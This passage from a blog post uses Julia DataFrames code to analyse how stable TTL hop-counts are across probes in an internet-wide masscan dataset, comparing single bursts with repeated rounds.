Assuming that the packet goes straight-forward to us. If there are &lt;em&gt;loops&lt;/em&gt; in the routing systems, the packet will loop between the devices going nowhere. &lt;br /&gt; That’s the point of the TTL: to catch and drop packets looping around.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Of course the host set the TTL to some reasonable high number so the packet should reach to its destination (us) before reaching to zero.&lt;/p&gt;
&lt;p&gt;We cannot know exactly which route/s the packets taken but we can &lt;em&gt;count for how many hops they went through&lt;/em&gt;: any change in the &lt;em&gt;hop-count&lt;/em&gt; and we will get different TTLs and that’s evidence that they taken different routes.&lt;/p&gt;
&lt;p&gt;The inverse is not true: a constant hop-count does not imply that the route taken is the same, only the route/s have the same hops.&lt;/p&gt;
&lt;p&gt;In this post I will &lt;a href="/articles/2021/09/19/IPv4-Scan-Part-II-Multiprobes-Analysis.html"&gt;continue exploring&lt;/a&gt; how much a &lt;em&gt;route&lt;/em&gt; is &lt;em&gt;stable&lt;/em&gt; in terms of &lt;em&gt;hop-counts&lt;/em&gt;.&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="how-much-stable-is-a-route-in-a-burst"&gt;How much stable is a route in a &lt;em&gt;burst&lt;/em&gt;?&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://github.com/robertdavidgraham/masscan/"&gt;masscan&lt;/a&gt; scans the same host sending several probes at the &lt;em&gt;same time&lt;/em&gt; in a &lt;em&gt;burst&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;As saw in a &lt;a href="/articles/2021/09/19/IPv4-Scan-Part-II-Multiprobes-Analysis.html"&gt;previous post&lt;/a&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;masscan&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; may scan the same host more than once. We will call these &lt;em&gt;rounds of bursts&lt;/em&gt; or just &lt;em&gt;rounds&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;masscan&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; sends multiple packets (&lt;em&gt;probes&lt;/em&gt;) to test the hosts’ ports.
&lt;br /&gt;&lt;br /&gt;
It sends &lt;em&gt;at the same time&lt;/em&gt; the probes to &lt;em&gt;the same host&lt;/em&gt; in a &lt;strong&gt;burst&lt;/strong&gt;.
&lt;br /&gt;&lt;br /&gt;
Some time later it &lt;em&gt;may&lt;/em&gt; scan the same host &lt;em&gt;again&lt;/em&gt;. The collection of bursts to &lt;em&gt;the same host&lt;/em&gt; are the &lt;strong&gt;rounds&lt;/strong&gt; for that host.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img style="max-width: 80%;" class='' alt='' src='/img/network/internet_scan/ip-burst-rounds.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h3 id="ttls-extrema-values-for-each-short-burst"&gt;TTLs extrema values for each short burst&lt;/h3&gt;
&lt;p&gt;Let’s review the short bursts first, the probes sent to a host at the same time:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;short_bursts_g&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;groupby&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:ip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:timestamp&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;short_bursts&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;combine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;short_bursts_g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:ttl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;minimum&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:min&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:ttl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;maximum&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:max&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Alternatively:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;short_bursts&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;combine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;short_bursts_g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:ttl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;extrema&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;)])&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:min&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:max&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9uZXR3b3JrL2ludGVybmV0X3NjYW4vaXAtc2hvcnQtYnVyc3QtdHRscy5wbmcnIC8+CkZvciBlYWNoIHJlc3BvbnNlLCB0aGUgVFRMIGlzIHJlYWQgYW5kIHRoZSBtaW5pbXVtIGFuZCBtYXhpbXVtCnZhbHVlcyBhcmUgY2FsY3VsYXRlZCBmb3IgZWFjaCBidXJzdC4KClRoaXMgZ2l2ZXMgYW4gaWRlYSBvZiBob3cgZGlmZmVyZW50IHRoZSBUVEwgY2FuIGJlIGZvciBwcm9iZXMgc2VudAppbiBhICpzaG9ydC1lbGFwc2VkIGJ1cnN0Ki4KbWFyZ2lu' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9uZXR3b3JrL2ludGVybmV0X3NjYW4vaXAtc2hvcnQtYnVyc3QtdHRscy5wbmcnIC8+CkZvciBlYWNoIHJlc3BvbnNlLCB0aGUgVFRMIGlzIHJlYWQgYW5kIHRoZSBtaW5pbXVtIGFuZCBtYXhpbXVtCnZhbHVlcyBhcmUgY2FsY3VsYXRlZCBmb3IgZWFjaCBidXJzdC4KClRoaXMgZ2l2ZXMgYW4gaWRlYSBvZiBob3cgZGlmZmVyZW50IHRoZSBUVEwgY2FuIGJlIGZvciBwcm9iZXMgc2VudAppbiBhICpzaG9ydC1lbGFwc2VkIGJ1cnN0Ki4KbWFyZ2lu' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;img  class='fullwidth' alt='' src='/img/network/internet_scan/ip-short-burst-ttls.png' /&gt;
For each response, the TTL is read and the minimum and maximum values are calculated for each burst.
&lt;br /&gt;&lt;br /&gt;
This gives an idea of how different the TTL can be for probes sent in a &lt;em&gt;short-elapsed burst&lt;/em&gt;.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The latter walks over the samples once calling the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;extrema&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; function. However &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;extrema&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is not compatible with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;DataFrames&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; as is so we need to wrap it in an anonymous function &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;extrema&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;)])&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This makes the latter much slower than the former, even if the former may walk over the samples twice.&lt;/p&gt;
&lt;h3 id="hop-stability-in-short-bursts"&gt;Hop stability in short bursts&lt;/h3&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;countmap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;short_bursts&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="ss"&gt;:max&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;short_bursts&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="ss"&gt;:min&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="kt"&gt;Dict&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="kt"&gt;Int32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;Int64&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;with&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entries&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;64801995&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;68&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The difference between the &lt;em&gt;extremes&lt;/em&gt;, called the &lt;em&gt;range&lt;/em&gt;, shows that the routes are quite stable, at least during the scan for a particular host.&lt;/p&gt;
&lt;p&gt;The histogram shows that all the bursts have a TTL range of 0 except very few cases.&lt;/p&gt;
&lt;p&gt;This means that the routes are &lt;strong&gt;stable&lt;/strong&gt; but…&lt;/p&gt;
&lt;p&gt;Keep in mind that the scans for a particular host &lt;em&gt;in a particular time&lt;/em&gt; are like &lt;strong&gt;bursts&lt;/strong&gt;: so it is reasonable that the routes didn’t change in such short period.&lt;/p&gt;
&lt;p&gt;What would happen if we analyze now the stability for a longer period?&lt;/p&gt;
&lt;h2 id="how-much-stable-is-a-route-in-a-longer-period"&gt;How much stable is a route in a longer period?&lt;/h2&gt;
&lt;p&gt;The dataset has scans to the same host at different time, what we call &lt;em&gt;rounds&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;We can do a second &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;groupby&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; + &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;combine&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; taking the minimum of the minimum TTLs and the maximum of the maximum TTLs to have the &lt;em&gt;range&lt;/em&gt; per host, regardless of the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;timestamp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, hence capturing some statistics for each round.&lt;/p&gt;
&lt;p&gt;However we need to &lt;em&gt;filter out&lt;/em&gt; the groups of scans to the same host that have only one timestamps: we want to compare rounds at different time and having a single round defeats the purpose.&lt;/p&gt;
&lt;p&gt;These are scans to a host that were done in a &lt;em&gt;single burst&lt;/em&gt; and we don’t have different burst at different time to compare with!&lt;/p&gt;
&lt;p&gt;&lt;label for='CmBgYGp1bGlhCmp1bGlhPiBoaXN0X2JpYXNlZFswXSAtIGhpc3RfdW5iaWFzZWRbMF0KMjkzNDk1MDkKYGBgCgpUbyBnaXZlIHlvdSBhbiBpZGVhIG9mIGhvdyBtdWNoIHRoZSBiaWFzCnRvd2FyZHMgc3RhYmxlIHJvdXRlcyBpcyAoYWthIHJhbmdlIG9mIDApLgptYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CmBgYGp1bGlhCmp1bGlhPiBoaXN0X2JpYXNlZFswXSAtIGhpc3RfdW5iaWFzZWRbMF0KMjkzNDk1MDkKYGBgCgpUbyBnaXZlIHlvdSBhbiBpZGVhIG9mIGhvdyBtdWNoIHRoZSBiaWFzCnRvd2FyZHMgc3RhYmxlIHJvdXRlcyBpcyAoYWthIHJhbmdlIG9mIDApLgptYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;span class="pseudo-pre"&gt;&lt;code&gt;&lt;span class="highlight-candombe"&gt;&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hist_biased&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hist_unbiased&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;29349509&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/span&gt;
&lt;br /&gt;&lt;br /&gt;
To give you an idea of how much the bias towards stable routes is (aka range of 0).
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;If we left those, our analysis will be biased toward stable routes (range of 0).&lt;/p&gt;
&lt;h3 id="rounds-of-bursts"&gt;Rounds of bursts&lt;/h3&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;all_rounds_g&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;groupby&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;short_bursts&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:ip&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rounds_g&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sdf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nrow&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sdf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;all_rounds_g&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rounds_ttl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;combine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rounds_g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:min&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;minimum&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:min&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:max&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;maximum&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:max&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hist_unbiased&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;countmap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rounds_ttl&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="ss"&gt;:max&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rounds_ttl&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="ss"&gt;:min&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="kt"&gt;Dict&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="kt"&gt;Int32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;Int64&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;with&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;217&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entries&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;56&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;35&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;221&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;597&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;220&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;67&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5813&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;73&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;75&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;115&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;112&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;185&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;85&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;⋮&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;⋮&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='ClllcywgdGhlIGAoLSlgIGlzIHRoZSBiaW5hcnkgb3BlcmF0b3IgKm1pbnVzKiBvciBzdWJ0cmFjdGlvbiB0aGF0IGlzCmFwcGxpZWQgcm93IGJ5IHJvdyB0byB0aGUgbWF4aW11bSBhbmQgbWluaW11bSB2YWx1ZXMgKGA6bWF4YCBhbmQgYDptaW5gCmNvbHVtbnMpLgogbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClllcywgdGhlIGAoLSlgIGlzIHRoZSBiaW5hcnkgb3BlcmF0b3IgKm1pbnVzKiBvciBzdWJ0cmFjdGlvbiB0aGF0IGlzCmFwcGxpZWQgcm93IGJ5IHJvdyB0byB0aGUgbWF4aW11bSBhbmQgbWluaW11bSB2YWx1ZXMgKGA6bWF4YCBhbmQgYDptaW5gCmNvbHVtbnMpLgogbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Yes, the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is the binary operator &lt;em&gt;minus&lt;/em&gt; or subtraction that is applied row by row to the maximum and minimum values (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="ss"&gt;:max&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="ss"&gt;:min&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; columns).
&lt;/span&gt;&lt;/p&gt;
&lt;h3 id="hop-stability-in-longer-periods"&gt;Hop stability in longer periods&lt;/h3&gt;
&lt;p&gt;Okay, the situation is quite different!&lt;/p&gt;
&lt;!--
multirounds_range -&gt; groupedby_ip_timestamp__filterby_count.pq
--&gt;
